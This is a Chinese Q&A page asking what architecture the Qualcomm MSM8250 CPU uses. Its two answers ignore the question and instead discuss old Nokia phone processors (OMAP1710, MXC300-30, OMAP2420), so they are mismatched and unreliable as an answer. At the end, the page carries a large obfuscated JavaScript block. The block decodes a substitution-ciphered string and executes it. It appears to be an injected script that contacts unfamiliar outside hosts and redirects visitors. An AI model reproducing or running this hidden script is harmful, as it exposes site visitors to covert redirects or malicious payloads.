Qualcomm MSM8250 的CPU是基于什么构架的

2025-03-21 10:48:53
推荐回答(2个)
回答1:

NOKIA智能手机CPU的现实选择 上面一篇介绍的是NOKIA智能手机的历史,当然现在大家在选择NOKIA智能手机的时候肯定不会再选择7650,6600,7610甚至N70这些停产多时的老机型了,当然如果有兴趣买上一台作为收藏也未尝不可~。那么对于现在来说我们真正关注的老机型更多的是N73这样上市一年的机型,尽管他的基于 ARM-926的220MHZ的TIOMAP 1710CPU现在看已经很濒临淘汰,但是我想行出于性价比原因很多人在买手机的时候还是会考虑这款机型。因此这篇文章我们主要研究一下当今市面上的主流NOKIA智能手机的CPU。 现在的NOKIA智能手机的CPU分为三个方案:方案一:是我们一直提到的,在现在N73,N70等机基于ARM9架构的德州仪器OMAP1710CPU,频率220MHz 方案二:是N93,N93i,N95,E90,N95,N96,N82这几款高端机型用的基于ARM11架构OMAP2420,频率330MHz 方案三:是现在热卖的NOKIA使用机型最多的,其主要从中低端的6120C,商务机王者E71,到翻盖机型N76,再到现在很火热的N78,N78以及N85,甚至还有即将上市的首款NOKIA触摸机型5800都用在使用这款CPU,他就是基于ARM11架构 FreescaleMXC300-30,频率是369MHZ。 方案二中的机型都是比较贵的,我们先看一下机型价格比较便宜的方案一和方案三机型。在NOKIA 的网站上,我们可以了解到方案一的CPU 信息是Dual CPU CPU Type: ARM 9 CPU Clock Rate : 220 MHz而方案三是Single CPU CPU Type :ARM 11 CPU Clock Rate : 369MHz关于这两个CPU 的争论相当多,尤其是最近 6120C E71等新机的速度相当快,得益于高CPU 频率,但看了CPU 信息后,大家都会产生疑问:方案一是Dual CPU,方案三是SingleCPU,从字面理解就是方案一是双核,方案三是单核,刚公布此消息时,不知其中道理的网友甚至还抱怨怎么换成单核的呢?本来已经够慢了,以后还要更慢? 在官方得到了解释N73(等机子)里的dual-CPU意思是有一个处理单元运行Symbian/S60而另外一个是基础应用单元运行电话功能,其实就是说那是个DSP (数字处理芯片),不是像Intel 那种给电脑用的双核CPU这不像电脑上的双核和单核的关系,OMAP1710CPU ,有一个核心运行在220MHz,用于处理手机的用户界面,多媒体应用,JAVA等等之类的应用(这里相当于电脑的CPU的功能),另外一个核心用于处理网络数据(也就是电话功能,打电话,发短信之内的,上网/3G 也应该包括,但肯定不处理WIFI数据) 也就是说,OMAP1710是3G NOKIA 采用的CPU ,用此CPU 的必有3G版本,以前的旧CPU 机是没有3G的这样的好处是无论你运行多大的软件,占用了多少CPU资源,都不会影响到接电话这样的手机最基本功能再来看看FreescaleMXC300-30,方案三,从卖ARM 芯片的网站上找到的介绍 MXC300-30 :3G手机用单核调制解调器处理器,能提供完整UTMS平台的,最适合的开放式操作系统如Linux 和Symbian,不需要增加任何的处理器或加速器,用于GMSK的单天线干扰消除,集成了图像处理单元(IPU )视频加速器,无线连接特性包括支持A-GPS接口,蓝牙接口,以及支持无线LAN802.11a/b/g 接
口和DVB-H 接口,处理器可用在各种手持设备如MP3 播放器,手持DVD播放器或数码相机成为全功能的智能移动蜂窝设备。由此可以看出,FreescaleMXC300-30是一个物美价廉的好U ,一个CPU 解决大部分问题,且频率高,价格便宜而且相当的省电,比OMAP1710省电得多。而且是相当的多(在另外一份介绍中讲到),这就可以解释为什么N76 在369MHz的频率700mA/h 在电池下能够正常使用差不多2 天,追得上拥Y1100mA/h的电池CPU频率只为220MHz的N73.NOKIA 用此CPU 的目的就是为了降低成本。看上去MXC300-30一切都美好。什么都集成了,呵呵,当然好,只是在效率方面,效果方面就不及多芯片了。 但事实上呢?很多人说MXC300-30性能不高,只是跟OMAP1710差不多,又说它单核比不过双核(这个问题前面已经说了,根本不是这样),反正就很多批判的话语。但是,从测试数据来看,N76,5700等机的性能全面超越N73,有些项目超了一倍(具体请看太平洋的评测)因此,单从性能来说,方案三的性能远超方案一毫无悬念不过不排除N76,5700等机型用的Symbian 9.2 FP1 系统做的优化,但是从测试数据上分析,即使N73 搭载Symbian 9.2 FP1,性能与N76 还是会有差距那究竟方案三有什么不好呢? 这个问题也困扰了我好久,终于在一个小论坛看到了一个用户对N76的抱怨,让我茅塞顿开那个人说:N76 好快啊,但是播放MP4 视频时很卡,在N73 上都不卡,3GP没有此问题大家再看看这张图,对比用方案三的N76和方案一的N73 大家可以看出N76是缺少AAC的硬支持的因此可以知道MXC300-30 这个CPU是没有AAC的硬解码的,要播放AAC ,就要用到CPU 去解码,消耗CPU 资源,而N73是不需要的!(硬解码的好处是芯片内直接内置解码器,而不需要CPU去解码,就像现在的显卡硬解HDTV一样,CPU 资源消耗奇低)给大家提个醒,虽然方案1 带有解码,但不是N91、NG、7710那样另外带有数位转模拟那个级的,所以效果我认为都很一般,所以大家不要认为有解码就是专业级的,能够比得上随身听的。那是一个简单解码器,不可能打败随身听。 结合论坛上的教程,很多论坛教大家压缩MP4 时都推荐用AAC 音频编码,而3GP 则多数不用AAC 因此结论很明显:用AAC作为音频编码的MP4 格式在N76 上消耗过多CPU 资源,导致播放不流畅!用方案3的朋友注意了。尽量不要选网上下载的MP4.这样思路就很清晰了,N78,6120,N81使用的MXC300-30 是频率制胜,少了增加成本的很多解码器,少了专用于电话功能的DSP ,因此能在低成本下实现高速度。而N73使用的OMAP1710更注重应用,多媒体等方面,为了成本,NOKIA 在中端机中使用220MHz频率。事实上可以证明,OMAP1710的通话质量,网络质量,音乐播放效果上是比MXC300-30要好,而MXC300-30在性能上远超OMAP1710,而且更加省电。在大众追求手机性能快而多功能的同时,忽略掉了手机最重要的功能:打电话发信息,以及上网。NOKIA不得不抛弃通话、网络、摄影、音乐(这个是流行手机必须达到的标准)等质量为达到“以人为本”,让广大以手机作为其娱乐和工作的群众们满足。有点本末倒置了,没办法,手机集成度太高了。 不过让MXC300-30 的机拥有好音质也不是没有办法,像5700内置一个专用音乐DSP处理音频(我认为是wolfson的),音质会很好因此音质的比较是5700>N73>N76,扩展一下就是有专用音乐芯片>OMAP1710>MXC300-30在总结之前,这里多说两句。 很多人去测N76 ,5700的CPU 频率时,有的人测到369 ,有的人测到420 多,其实MXC300-30这个CPU 是可以变频的,当初发布时就已经说了此CPU在工艺上的进展能使它的频率达到1GHz(现在当然不可能啦),更深入的现在无法了解,反正大家先知道MXC300-30是可以变频的!(未完待续) 书接上文,大家如果看过一些评测的话会发现N76在拥有40多M 运行内存的情况下性能比只有10多M内存的5700高不了多少(在以前内存增大对S60机的效果是很明显的),这又是为什么呢? 在NOKIA那里,我们找到了答案,E71 有XIP ,而N73使用的OMAP1710处理器没有XIP ,XIP 的用途就是让CPU能够直接从储存卡中读取数据,而不用将数据先复制到运行内存,再由CPU 处理,因此OMAP1710对内存依赖大,经常可以听到有人说N73会提示内存不足,而新CPU的机型还没有人说试过内存不足。这个就是快的理由,CPU处理我认为220Mhz都是足够的了,问题在于内存。XIP的出现令内存问题严重得到解决。不知道什么时候,基于windows mobile平台的手机什么时候也能应用XIP 这东西?要知道,winmobile的CPU 内存等硬件是十分强悍,而速度却不如symbian 和linux高效…… 结合N76跟5700的性能差距不大的事实,我们有理由相信MXC300-30 是有XIP的,因此N76的大内存主要目的应该是能同时运行更多的程序。 总结:方案一(N73)优点在于多媒体能力强,对于手机的基本功能:电话功能做得更好,虽然是dualcore,但是实际用起来就是单核,跟方案三一样,能够支持高象素得摄像头,基本除了慢没什么缺点。方案三(6120,E71,N78,N79)优点在于速度快,相当的快,成本低,省电(很省电),缺点就是多媒体能力差,不能支持高象素摄像头。 N95N82等机型所用的OMAP2420跟N73使用的OMAP1710是一个系列的,除了以下几点都跟OMAP1710差不多,好处相当明显,频率为330MHz,很快,但是没有N78,N81,N76,6120等使用的MXC300-30快,也不能变频,不知道有没有XIP.内置3D加速器,在JAVA3D 的测试中能拿到900 多分,N76 只拿到200 多,N73 只有100 多,因此N76虽然2D性能比N95好,但是3D性能差一大截,就在于这个,而且支持OpenGL特效(天啊)……支持OPENGL图形接口了,高质量的移植游戏有戏了……再发展的话,未来应该拼得上PSP. 支持更高的分辨率,更高的摄像头象素(还没有体现)N95 500W像与N93的VGA 级双声道录影就是体现。 因此我估计,以后NOKIA 高端机会继续用OMAP2420甚至以后更高的型号,中低端则用MXC300-30 ,这样S60在全面迈进Symbian 9.2 FP1 后就全部都变快了,S60 开始进入黄金时期。这里,我要说NOKIA很明智,市场区分方面,方案3 的机都不慢,但多媒体功能受制,需要的话在方案3上面再追加个芯片,例如5700追加的所谓"HIFI"DAC-33芯片,增强其声音处理;实现专业音乐的手机与一般方案3机型的区分,成为“有别于”其它方案3 的S60的机型。 另外,最新发布的N81 也是用方案三的,因为NOKIA要把N-Gage推广到全N系列(包括以前),用方案二很难推广,而且方案二成本高,部部都3000多以上。

回答2:

2005年出的OMAP2420集成了
  CPU -- ARM1136 (330Mhz)
  DSP -- TMS320C5x (220Mhz)
  2D/3D 图形处理器 -- 运算速度每秒处理2百万个多边形
  图像/视频处理器 -- IVA 可处理大于400万像素的静止图片(资料没有提及处理所需要的时间)
  内部集成5Mb的SRAM,外部能支持到512/768Mb的DDR内存
  OMAP2420同样也采用了先进的Low-voltage低电压技术,制程和OMAP1710一样,只有0.09微米,不过面积依旧控制在12×12平方毫米。由于OMAP2420的功能过于强大,可管理的I/O设备很多,端口也非常复杂,因此它的针角数也不得不提升到了325。OMAP2420当中包含的程序处理器型号为ARM1136,它的最大工作频率可以达到330MHz。
  OMAP2420能管理130—400万像素的摄头和QVGA(240×320)分辨率的屏幕,支持蓝牙、红外和高速USB传输,兼容A-GPS定位功能,可利用WLAN功能无线上网,支持第三方SD、MMC存储卡扩展,并可使用SD I/O设备,能处理400万甚至更高像素的静态图片,能够记录30帧/秒的VGA(640×480)像素动态有声视频文件,能提供接近Hi-Fi级的3D环绕音效,支持TV-OUT输出功能,每秒可以计算200万个多边形。
  美国德州仪器TI公司

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();